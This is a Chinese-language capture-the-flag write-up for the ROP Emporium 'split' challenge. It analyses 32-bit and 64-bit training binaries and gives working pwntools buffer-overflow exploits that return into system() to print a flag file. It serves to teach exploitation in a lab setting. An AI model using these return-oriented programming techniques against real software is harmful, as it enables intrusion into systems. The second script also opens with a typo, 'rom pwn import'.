概述
ROP Emporium是一个通过一系列的挑战来学习ROP(面向返回的编程)的网站,ROP常用于PWN的场景。
本文记录的是第2个挑战split,地址为https://ropemporium.com/challenge/split.html
split32
基本信息
下载地址https://ropemporium.com/binary/split32.zip
检查程序的保护,发现NX启用
checksec split32
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
查看程序中的字符串,发现/bin/ls
和/bin/cat flag.txt
rabin2 -z split32
[Strings]
nth paddr vaddr len size section type string
―――――――――――――――――――――――――――――――――――――――――――――――――――――――
0 0x000006b0 0x080486b0 21 22 .rodata ascii split by ROP Emporium
1 0x000006c6 0x080486c6 4 5 .rodata ascii x86\n
2 0x000006cb 0x080486cb 8 9 .rodata ascii \nExiting
3 0x000006d4 0x080486d4 43 44 .rodata ascii Contriving a reason to ask user for data...
4 0x00000703 0x08048703 10 11 .rodata ascii Thank you!
5 0x0000070e 0x0804870e 7 8 .rodata ascii /bin/ls
0 0x00001030 0x0804a030 17 18 .data ascii /bin/cat flag.txt
r2分析
使用r2分析,发现main,pwnme,usefulFunction函数
r2 split32
[0x08048430]> aaaa
[0x08048430]> afl
查看main,发现调用pwnme
pdf @ main
查看pwnme,发现了memset和read,存在溢出
pdf @ sym.pwnme
查看usefulFunction,发现system()调用的是ls,不是/bin/cat flag.txt
思路
溢出,返回地址为system,参数为/bin/cat flag.txt
获取偏移
生成随机字符串
pwndbg> cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
pwndbg> cyclic -l 0x6161616c
44
利用代码
from pwn import *
p = process('./split32')
elf = ELF('./split32', checksec=False)
offset = 44
cat_flag_address = elf.search('/bin/cat flag.txt').next()
info('cat_flag_address : {}'.format(hex(cat_flag_address)))
system_address = elf.plt.system
info('system_address: {}'.format(hex(system_address)))
payload = 'A' * offset + p32(system_address) + p32(1) + p32(cat_flag_address)
p.sendline(payload)
p.recvuntil('Thank you!')
result = p.recvall()
success(result)
split
思路
是split程序64位的版本,解题步骤和split32类似,但32位和64位传参方式不同,32位是通过栈传参,64位是通过寄存器传参,所以在利用方式上有不同
获取偏移
pwndbg> cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
pwndbg> cyclic -l 0x6161616b
40
获取gadget
ROPgadget --binary split --only 'pop|ret'
Gadgets information
============================================================
0x00000000004007bc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007be : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007c0 : pop r14 ; pop r15 ; ret
0x00000000004007c2 : pop r15 ; ret
0x00000000004007bb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007bf : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400618 : pop rbp ; ret
0x00000000004007c3 : pop rdi ; ret
0x00000000004007c1 : pop rsi ; pop r15 ; ret
0x00000000004007bd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040053e : ret
0x0000000000400542 : ret 0x200a
选择pop rdi ; ret
0x00000000004007c3
利用代码
rom pwn import *
p = process('./split')
elf = ELF('./split', checksec=False)
offset = 40
ret_address = 0x00000000004007c3
cat_flag_address = elf.search('/bin/cat flag.txt').next()
info('cat_flag_address : {}'.format(hex(cat_flag_address)))
system_address = elf.plt.system
info('system_address: {}'.format(hex(system_address)))
payload = 'A' * offset + p64(ret_address) + p64(cat_flag_address) + p64(system_address)
p.sendline(payload)
p.recvuntil('Thank you!')
result = p.recvall().strip('\n')
success(result)